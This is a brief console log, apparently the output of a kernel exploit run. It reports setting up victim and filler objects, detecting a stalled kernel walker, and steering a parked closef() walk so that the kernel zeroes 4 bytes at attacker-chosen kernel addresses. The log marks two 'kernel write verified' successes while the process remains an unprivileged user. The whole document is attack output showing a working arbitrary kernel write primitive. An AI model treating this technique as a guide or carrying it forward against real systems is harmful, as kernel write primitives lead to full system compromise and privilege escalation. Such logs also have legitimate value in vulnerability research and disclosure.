victims bound: 40
persistent fillers: 60
setup: binders x6, walkers x1, fillers, helpers, churners...
*** walker stall detected; steer-verify ***
[verify 0] victim 0xfffff8004f145260 +8..+11 = 00000000 *** KERNEL WRITE VERIFIED ***
*** SUCCESS: parked closef() walk steered to victim; kernel zeroed 4 bytes at a chosen kernel address ***
[sess2] steering SPIN2 -> victim b 0xfffff8004f145288; pre +8..+11 = 41414141
[sess2] post +8..+11 = 00000000 *** SECOND KERNEL WRITE VERIFIED (race-free steer) ***
uid=1001 euid=1001; system alive; one walker parked in kernel spin at our user page
done (parked walker remains in kernel spin; system otherwise alive)